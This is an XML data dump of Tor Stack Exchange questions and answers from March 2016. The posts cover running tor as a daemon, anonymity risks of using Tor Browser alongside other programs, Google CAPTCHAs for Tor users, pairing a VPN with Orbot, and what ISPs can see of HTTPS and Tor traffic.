  <row Id="9974" PostTypeId="2" ParentId="9008" CreationDate="2016-03-29T03:18:11.260" Score="1" Body="&lt;p&gt;The only difference between &lt;code&gt;127.0.0.1:80&lt;/code&gt; and &lt;code&gt;127.0.0.1:8080&lt;/code&gt; is the exit port of you local web server, or also known as the listening port.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is the port number your locally running web server, whether it be Apache, Nginx, etc, is open to incoming requests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To find out which port your server is using, check the configuration file in the server's installation directory, or just use 80 if you haven't changed any defaults.&lt;/p&gt;&#xA;" OwnerUserId="10202" LastActivityDate="2016-03-29T03:18:11.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9975" PostTypeId="1" AcceptedAnswerId="9977" CreationDate="2016-03-29T03:21:45.330" Score="0" ViewCount="1687" Body="&lt;p&gt;If I was to run a tor service on a real server such as Ubuntu Server, is there a background mode to run tor in, or does the browser have to be open at all times?&lt;/p&gt;&#xA;" OwnerUserId="10202" LastActivityDate="2016-04-02T03:35:10.000" Title="Run Tor browser in the background?" Tags="|onion-services|ubuntu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9976" PostTypeId="1" CreationDate="2016-03-29T03:49:06.843" Score="2" ViewCount="58" Body="&lt;p&gt;I am new to the Tor world, and I really like the idea of it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now I encountered some issue when I applied the &quot;Torify&quot; to my own python program &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;torify my_python_program&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As stated in the URL:&lt;a href=&quot;https://neverendingsecurity.wordpress.com/2015/03/14/proxify-applications-with-torsocks-tsocks-and-proxychains-on-linux/&quot; rel=&quot;nofollow&quot;&gt;https://neverendingsecurity.wordpress.com/2015/03/14/proxify-applications-with-torsocks-tsocks-and-proxychains-on-linux/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would make every requests made within my program go through Tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This problem is that my python program would access various different websites, and &lt;strong&gt;one of them is even in the LAN.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default, Tor will reject access to local addresses, and therefore I'll need to use its public IP/DNS. But What I really want is that &lt;strong&gt;Tor would just redirect the requests to the normal un-torified network&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this even possible with the current Tor implementation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am hoping there is some config I can change to keep a list of IPs that I want to access without Tor?&lt;/p&gt;&#xA;" OwnerUserId="12281" LastActivityDate="2016-03-29T03:49:06.843" Title="Is it possible to keep a list of IPs/Websites which I don't want to use Tor to connect to?" Tags="|torsocks|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9977" PostTypeId="2" ParentId="9975" CreationDate="2016-03-29T07:52:18.673" Score="3" Body="&lt;p&gt;If you want to run a tor hidden service, you should use tor, not tor browser. You can run tor as a daemon.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get install tor&#xA;tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make sure you properly &lt;a href=&quot;https://www.torproject.org/docs/tor-hidden-service.html.en&quot; rel=&quot;nofollow&quot;&gt;set up your hidden service&lt;/a&gt; too.&lt;/p&gt;&#xA;" OwnerUserId="12198" LastEditorUserId="10202" LastEditDate="2016-04-02T03:35:10.000" LastActivityDate="2016-04-02T03:35:10.000" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9978" PostTypeId="2" ParentId="9964" CreationDate="2016-03-29T07:59:23.447" Score="0" Body="&lt;p&gt;It looks like there is a problem with mail2tor.com. I tried to send emails to other servers using mail2tor several times. Although a few of them succeded, most of them failed.&lt;/p&gt;&#xA;" OwnerUserId="12198" LastActivityDate="2016-03-29T07:59:23.447" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9980" PostTypeId="2" ParentId="9952" CreationDate="2016-03-29T08:17:43.820" Score="0" Body="&lt;p&gt;If an OR is an exit node, it will receive a RELAY cell that tell it to establish a tcp connection with a server. If it is not an exit node, it will receive an EXTEND cell that tells it to extend the tor circuit to another OR. See &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/tor-spec.txt&quot; rel=&quot;nofollow&quot;&gt;https://gitweb.torproject.org/torspec.git/tree/tor-spec.txt&lt;/a&gt; for more.&lt;/p&gt;&#xA;" OwnerUserId="12198" LastActivityDate="2016-03-29T08:17:43.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9982" PostTypeId="2" ParentId="9853" CreationDate="2016-03-29T13:21:15.547" Score="0" Body="&lt;p&gt;You break those connections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor will not wait. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be clear, you would start your own apache and hidden service inside or better &quot;open-net&quot; service, thereafter open something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo &quot;One&quot;;sleep(100000);echo &quot;Two&quot; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And try to play with &lt;code&gt;NewNym&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor must not send &quot;RST&quot; after each &lt;code&gt;NewNym&lt;/code&gt;. However, this practice would be much peaceful to the server's sides.&lt;/p&gt;&#xA;" OwnerUserId="12285" LastActivityDate="2016-03-29T13:21:15.547" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9983" PostTypeId="2" ParentId="9962" CreationDate="2016-03-29T14:25:40.077" Score="4" Body="&lt;p&gt;Tails uses sdmem from the secure-delete package to overwrite RAM on shutdown, see &lt;a href=&quot;https://tails.boum.org/contribute/design/memory_erasure/&quot; rel=&quot;nofollow&quot;&gt;https://tails.boum.org/contribute/design/memory_erasure/&lt;/a&gt; for details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to that page, &quot;memory is only overwritten once with zeros; this is the fastest available mode, and is enough to protect against every memory forensics attack we know of&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sdmem also supports a &quot;secure&quot; mode that uses 38 passes with different bit patterns, based on Peter Gutmann's paper &quot;Secure Deletion of Data from Magnetic and Solid-State  Memory&quot;, however it's not clear how applicable this research is to RAM and protection against cold boot attacks.&lt;/p&gt;&#xA;" OwnerUserId="12286" LastActivityDate="2016-03-29T14:25:40.077" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9986" PostTypeId="1" CreationDate="2016-03-30T00:08:15.817" Score="3" ViewCount="12015" Body="&lt;p&gt;Please, could you tell me if my anonymity is at risk if I use the Tor Browser in the following scenarios:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I am using other browsers or programs (accessing the Internet, but not through Tor), while I am using the Tor Browser;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I am using a torrent client to download files (not through Tor), while I am using the Tor Browser;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I am uploading files using the Tor Browser;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I am downloading files using the Tor Browser (from cloud services, e-mails, file sharing services, other sites).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I use Windows, for that matter. Thank you very much!&lt;/p&gt;&#xA;" OwnerUserId="12294" LastEditorUserId="12013" LastEditDate="2016-03-30T08:27:38.827" LastActivityDate="2016-05-31T21:02:55.917" Title="Is there any risk to use the Tor Browser along with other programs (not using Tor)" Tags="|tor-browser-bundle|anonymity|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9987" PostTypeId="1" CreationDate="2016-03-30T03:05:40.660" Score="2" ViewCount="293" Body="&lt;p&gt;With my installation of Tor Browser OS X (ver. 5.5.4), the location bar always auto-hides. The only way to use it is to first hover the mouse where it would be, wait a second, then start typing a new URL. How can I force it to always show the location bar?&lt;/p&gt;&#xA;" OwnerUserId="12295" LastActivityDate="2017-01-24T13:23:09.047" Title="How to turn off location bar auto-hide on Tor Browser OS X?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9988" PostTypeId="2" ParentId="9986" CreationDate="2016-03-30T06:16:45.770" Score="2" Body="&lt;h2&gt;Is my anonymity at risk in the following scenarios?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Not particularly, if you follow the basic guidelines.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. I am using other browsers or programs (accessing the Internet, but not through Tor), while I am using the Tor Browser;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This &lt;em&gt;shouldn't&lt;/em&gt; affect your anonymity: the traffic generated by the Tor Browser will go through the Tor network, while the traffic generated by the other browsers/programs will follow the regular path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I said, this &lt;em&gt;shouldn't&lt;/em&gt; affect your anonymity: &lt;em&gt;you must kept your identity using Tor and the one using the other browsers/programs separate!&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Indeed, the information you provide while using the Tor Browser can be used to deanonymize you if it is correlated with the information the other browsers/programs provided. This means that you should avoid visiting the same websites, using the same accounts, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assume that you have two accounts on a website:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;em&gt;public_account&lt;/em&gt; -- this is your official account, the public one that you access through a regular browser, and any connection available.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;private_account&lt;/em&gt; -- this is your secret account, the one you want to keep private, that you access only through Tor.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;From a very restricted technical point of view (analyzing packets' content), your anonymity seems safe, as long as you don't send any information about yourself (or about &lt;em&gt;public_account&lt;/em&gt;) with &lt;em&gt;private_account.&lt;/em&gt; Unfortunately, analyzing the packets' content is not the only toy in the attacker's playset. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many scenarios possible, let us choose the one where the attacker is the website owner (or, the website has been compromised). The attacker knows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Your &lt;em&gt;public_account&lt;/em&gt;;&lt;/li&gt;&#xA;&lt;li&gt;The fact that the &lt;em&gt;private_account&lt;/em&gt; owner is using Tor.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It &lt;em&gt;can&lt;/em&gt; be enough to break your anonymity if he does some statistical analysis&lt;sup&gt;1&lt;/sup&gt; between the &lt;em&gt;private_account&lt;/em&gt; and the others.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It's strange, they are always connecting at the same time;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;private_account&lt;/em&gt; and &lt;em&gt;public_account&lt;/em&gt; often interact together;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;private_account&lt;/em&gt; and &lt;em&gt;public_account&lt;/em&gt; never interact together;&lt;/li&gt;&#xA;&lt;li&gt;etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It is very hard to blend in against statistics, because trying too hard can have an ironic effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A question has already been asked on the Information Security community, about &lt;a href=&quot;https://security.stackexchange.com/questions/38316/tor-and-regular-browser-side-by-side-does-that-make-sense&quot; title=&quot;Tor and regular browser side by side. Does that make sense? - Information Security community&quot;&gt;using the Tor Browser and a regular one side by side;&lt;/a&gt; you can get more information by taking a look at it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. I am using a torrent client to download files (not through Tor), while I am using the Tor Browser;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your torrent client is just a program accessing the Internet. See 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3. I am uploading files using the Tor Browser;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As usual, it depends of &lt;em&gt;what&lt;/em&gt; you are uploading. Is there anything &lt;em&gt;in&lt;/em&gt; or &lt;em&gt;related to&lt;/em&gt; these files that could provide information on you?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing the Tor Browser will give you is an anonymous way to upload the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;4. I am downloading files using the Tor Browser (from cloud services, e-mails, file sharing services, other sites).&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor Browser won't protect you against &lt;em&gt;what&lt;/em&gt; you have downloaded. Downloading files always creates a risk for you and your computer. Tor (and the Tor Browser) won't protect you against that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, any file you have downloaded can potentially be a malware that could deanonymize you, as well as it could encrypt all your file (ransomware), or do something else. This is independent of Tor.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;&lt;sup&gt;1&lt;/sup&gt; It is not about one or two &lt;em&gt;specific&lt;/em&gt; point(s), it's about the whole.&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="12013" LastEditorUserId="-1" LastEditDate="2017-03-17T10:46:11.210" LastActivityDate="2016-03-31T06:47:55.690" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9989" PostTypeId="2" ParentId="9987" CreationDate="2016-03-30T09:54:54.957" Score="1" Body="&lt;p&gt;I was not able to reproduce your issue. To be fair, I wasn't even able to activate the auto-hide feature on OS X El Capitan 10.11.3. I believe that this dependent of your OS X version. (And Google seems to agree with me.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On older OS X versions, you might want to try the following steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Launch the Tor Browser;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Type &lt;code&gt;about:config&lt;/code&gt; in the URL bar;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Look for the &lt;code&gt;browser.fullscreen.autohide&lt;/code&gt; entry, you can use the search box to find it quickly;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set its value to &lt;code&gt;false&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If that answer helped you, please, tell me your OS X version.&lt;/p&gt;&#xA;" OwnerUserId="12013" LastActivityDate="2016-03-30T09:54:54.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9991" PostTypeId="1" AcceptedAnswerId="9992" CreationDate="2016-03-30T14:32:22.830" Score="3" ViewCount="3738" Body="&lt;p&gt;First of all, I am a new user of Tor and a very naive computer user in general, so excuse me if I am too thick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I searched anything on Google using Tor, most times I got the 'Error 403 forbidden' and sometimes I had to type a CAPTCHA. I came here and I read this question &lt;a href=&quot;https://tor.stackexchange.com/questions/4923/tor-and-error-403-forbidden&quot;&gt;Tor and Error 403 forbidden&lt;/a&gt;. I followed the first option and I haven't got any 'Error 403 forbidden' since then. I don't understand why that has worked in my case, since my problem seemed very different from the one posed in the question. I have also read &lt;a href=&quot;https://tor.stackexchange.com/questions/313/does-google-know-that-i-am-using-tor-browser&quot;&gt;Does Google know that I am using Tor Browser?&lt;/a&gt;, but I still don't understand how it worked the answer in the first question for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this is a two-fold question: Why does the Error 403 appear? And how did what I did worked?&lt;/p&gt;&#xA;" OwnerDisplayName="user12302" LastEditorUserId="-1" LastEditorDisplayName="user12302" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2016-11-28T22:03:05.633" Title="How do Google servers discriminate anonymous users?" Tags="|anonymity|error|blocked-services|ip-address|google|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9992" PostTypeId="2" ParentId="9991" CreationDate="2016-03-30T17:18:26.313" Score="6" Body="&lt;p&gt;Error 403 and CAPTCHA are appearing because the exit node you're using is not dedicated to you only: Many people are using it, including to access Google and other services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems - on a website server's side - that one single IP address (the exit node) generates too many requests per time and a different requests/user sessions, so it can interpret it as a bot - and that's where the CAPTCHA comes out. But sometimes people do abuse Tor and use it for bot-mass-querying, and then it's reasonable to put an error 403. That's it!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="288" LastEditDate="2016-11-28T22:03:05.633" LastActivityDate="2016-11-28T22:03:05.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9993" PostTypeId="1" CreationDate="2016-03-30T21:00:38.547" Score="3" ViewCount="6290" Body="&lt;p&gt;Done a lot of reading on this subject recently, and I want to make sure I'm doing this correctly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I activate my VPN, then activate Orbot, and run OrFox (tor browser) through the orbot browser tab. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should, essentially, protect me from malicious exit nodes on TOR, and keep my ISP or other prying eyes from seeing my activity. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What throws me is that Orbot and ExpressVPN both show me using different IPs. Not sure if this means that my IP from device to TOR is one thing, then from TOR to internet is another, or if one is cancelling out the other. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't done much config with either app, as I don't want to end up doing something I can't easily undo. But I have worked out the DNS of my home router to the ExpressVPN provided one, and made my IP static and did the same on the device end. Hopefully that's not redundant. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should also be noted that I have the ExpressVPN app running OpenVPN UDP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm relatively new to the networking side of things, especially with trying to protect my identity/logs. So if someone could just let me know that I'm on the right track with this and what my next steps are, that would be extremely appreciated.&lt;/p&gt;&#xA;" OwnerUserId="12305" LastEditorDisplayName="user6671" LastEditDate="2018-12-20T22:30:42.157" LastActivityDate="2018-12-20T22:30:42.157" Title="Using Orfox/Orbot with ExpressVPN for Android" Tags="|tor-browser-bundle|anonymity|orbot|android|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="9994" PostTypeId="1" CreationDate="2016-03-30T21:43:20.400" Score="0" ViewCount="1001" Body="&lt;p&gt;Is TOR usage legal in &lt;strong&gt;Ukraine&lt;/strong&gt;? I mean for legal purposes. Are there any countries where TOR is not legal? Thank you very much!&lt;/p&gt;&#xA;" OwnerUserId="12294" LastActivityDate="2019-03-14T19:12:05.850" Title="Is TOR legal in Ukraine?" Tags="|legal|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9995" PostTypeId="1" CreationDate="2016-03-31T02:14:26.810" Score="2" ViewCount="373" Body="&lt;p&gt;I realize this will sound like I am beating a dead horse; however, I've read many, many threads and comments on this topic and am not quiet satisfied. Maybe I'm being too specific and need a more specific answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a two part question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;Scenario ONE&lt;/b&gt;: Time and again I see the question of whether or not ISPs can see detailed information on users activity and repeatedly see the answer &quot;No, they can see the URL but nothing more on httpS, etc.&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;Question&lt;/b&gt;: Why can the ISP NOT see what is coming through their servers?&#xA;In my mind I see it like this: Hi, I'm Skynet ISP. I see that right now IP#THIS is on http Google and he's looking up homemade taco soup recipes. That IP # is assigned to Hugh Jass.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is IP#THAT on httpS Yahoo. That IP is assigned to Pat McCrotch. Even though it is a httpS, I still must be able to decipher what is on the page to make sure I transmit the data properly. Yahoo is delivering an ad about Clash of Clans, Headlines of a presidential assassination and Microsoft going bankrupt. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, Yahoo just delivered video results about college orgies. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And... this is odd, IP#THIS&amp;amp;THAT...assigned to Mike Hunt is on a strange looking URL...   .onion. Oh, he's using Tor. I'm going to open Tor Browser and see what is on that page. Looks like Mike is shopping for unauthorized medicine. I'll log this and save it for law enforcement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.................&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;Scenario TWO&lt;/b&gt;: On the other end is the FBI running DeepWeb markets. One site sells unauthorized medicines. The funds go to support the Bureau in efforts to rout out cyber-criminals. Maybe even bust a few customers here and there since they have their address. Looks good in the papers to see the Bureau busting people for online drug deals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On another page the FBI runs a photo &amp;amp; video page of underground porn, jihad execution videos, hacker Anonymous video messages, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;Question&lt;/b&gt;: Would it not be possible that embedded in the photo or video metadata could be a homing beacon? Every time the beacon hits an ISP, relay and final destination the beacon would &quot;phone home&quot; to announce it's current location thereby exposing the users and relays and final recipients of the requested information?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;............................&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to me that the only way to be completely secure is for you to produce your own encryption software, hand it to me on disc and I install it on my PC. Then when I go to your encrypted site and the data begins to transfer thru my ISP they have no way of decrypting the data because the decrypt software was never online.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fin. Please tell me how I am mistaken in my suppositions. Thank you all for your time.&lt;/p&gt;&#xA;" OwnerUserId="12308" LastEditorUserId="12308" LastEditDate="2016-03-31T04:33:22.357" LastActivityDate="2016-03-31T08:40:28.030" Title="ISP &amp; LEO tracking on Tor" Tags="|security|onion-routing|ip-address|tor-browser-bundle|location|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9996" PostTypeId="2" ParentId="9995" CreationDate="2016-03-31T08:40:28.030" Score="1" Body="&lt;p&gt;Let me first make a remark: &lt;a href=&quot;https://security.stackexchange.com/questions/18197/&quot; title=&quot;Why shouldn&amp;#39;t we roll our own? - Information Security community&quot;&gt;you should avoid to roll you own crypto.&lt;/a&gt; :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of giving the encryption software, two people could physically exchange the &lt;em&gt;keys&lt;/em&gt; used for the encryption. However, that would be very cumbersome, and we found a way to properly exchange these keys on an untrusted network. You can take a look at this question about &lt;a href=&quot;https://security.stackexchange.com/questions/118676/&quot; title=&quot;How could online encryption ever work? - Information Security community&quot;&gt;how could encryption work when you have to exchange the keys.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: I tried to resume your problematic when I wrote the two titles, tell me if I missed something.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Scenario 1. Why couldn't the ISP see what I'm doing with HTTPS?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;When Hugh Jass is looking for his favorite taco soup recipes using HTTP, the data exchanged between him and the server are &lt;em&gt;not&lt;/em&gt; encrypted. As a consequence, the ISP can read everything that is transmitted between Hugh Jass and the website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When Pat McCrotch is browsing Yahoo using HTTPS, most of the data exchanged between him and the server &lt;em&gt;is&lt;/em&gt; encrypted. The ISP has no way to recover it&lt;sup&gt;1&lt;/sup&gt;. The only part that are not encrypted are the ones necessary for the packet to be transmitted to Yahoo. (e.g. IP addresses.) The ISP will only know that Pat McCrotch is browsing Yahoo, thanks to the IP addresses. (And probably the DNS request beforehand.) The ISP will not know what is Pat doing on the Yahoo website, because this part is encrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is not very different of the Post Office that can't read your mails as long as it doesn't open the envelopes. The only thing the Post Office can know is who are talking together. (If the sender's address is present.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To prevent this issue, some people use a &lt;a href=&quot;https://en.wikipedia.org/wiki/Virtual_private_network&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;VPN on Wikipedia&quot;&gt;VPN&lt;/a&gt;. Using a VPN, the whole packet will be encrypted, and put in another packet (&lt;a href=&quot;https://en.wikipedia.org/wiki/Encapsulation_%28networking%29&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;Encapsulation Networking on Wikipedia&quot;&gt;encapsulated&lt;/a&gt;) that will be sent to the VPN. The VPN will decrypt your original packet, and forward it to its destination.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Regular HTTPS packet:&#xA;┌───────────────────────────┐&#xA;│           DATA            │&#xA;│        (encrypted)        │&#xA;├────────────────┬──────────┤&#xA;│ IP_PatMcCrotch │ IP_Yahoo │ &amp;lt;- The ISP might still recognize Yahoo's IP&#xA;└────────────────┴──────────┘&#xA;&#xA;Using a VPN:&#xA;┌─────────────────────────────┐&#xA;│┌───────────────────────────┐│&#xA;││           DATA            ││&#xA;││        (encrypted)        ││&#xA;│├────────────────┬──────────┤│&#xA;││ IP_PatMcCrotch │ IP_Yahoo ││        ┌─────────────────────────┐&#xA;│└────────────────┴──────────┘│   ==   │          DATA           │&#xA;│         (encrypted)         │        │       (encrypted)       │&#xA;├────────────────┬────────────┤        ├────────────────┬────────┤&#xA;│ IP_PatMcCrotch │ IP_VPN     │        │ IP_PatMcCrotch │ IP_VPN │&#xA;└────────────────┴────────────┘        └────────────────┴────────┘&#xA;  ⬑ What you send                        ⬑ What your ISP see&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that in the 2 cases aforementioned, the users weren't using Tor! If they were using Tor, then the ISP won't know anything, like with a VPN. However, they will know that you are using Tor, because Tor addresses are known.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, in you last case where Mike Hunt is browsing a &lt;code&gt;.onion&lt;/code&gt; address, the ISP won't know anything, except that he is using Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, the request to the &lt;code&gt;.onion&lt;/code&gt; address has been encrypted and encapsulated and sent to the Tor network, out of the ISP reach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EFF.org made &lt;a href=&quot;https://www.eff.org/pages/tor-and-https&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;Tor and HTTPS on EFF.org&quot;&gt;an interactive visualization of Tor and HTTPS;&lt;/a&gt; you might want to take a look.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Scenario 2. If the LEO are running the server, can they deanonymize me?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Yes!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://arstechnica.com/security/2013/08/attackers-wield-firefox-exploit-to-uncloak-anonymous-tor-users/&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;FBI uncloak anonymous Tor users&quot;&gt;It has already been done when the FBI seized the Freedom Hosting website.&lt;/a&gt; They don't even need to go as far as making malicious metadatas, there are easier ways. For example, with the Freedom Hosting website, the FBI embedded a malicious Javascript file. This file, executed by the Tor Browser&lt;sup&gt;2&lt;/sup&gt;, forced the user to send a packet with his public IP to a server controlled by the FBI.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;&lt;sup&gt;1&lt;/sup&gt; HTTPS uses &lt;a href=&quot;https://en.wikipedia.org/wiki/Public-key_cryptography&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;Asymetric cryptography on Wikipedia&quot;&gt;Asymetric cryptography.&lt;/a&gt; Basically, you use one key to encrypt (public key) and another to decrypt (private key). The server gives you the public key that you will use to encrypt the data. Even if the ISP can watch the data exchanged and get the public key, it will not be able to decrypt the data. You neither. Only the server can decrypt it using its private key, that is never sent to anyone.&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;&lt;sup&gt;2&lt;/sup&gt; If Javascript is turned on, which is the default setting for the Tor Browser.&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="12013" LastEditorUserId="-1" LastEditDate="2017-03-17T10:46:11.210" LastActivityDate="2016-03-31T08:40:28.030" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
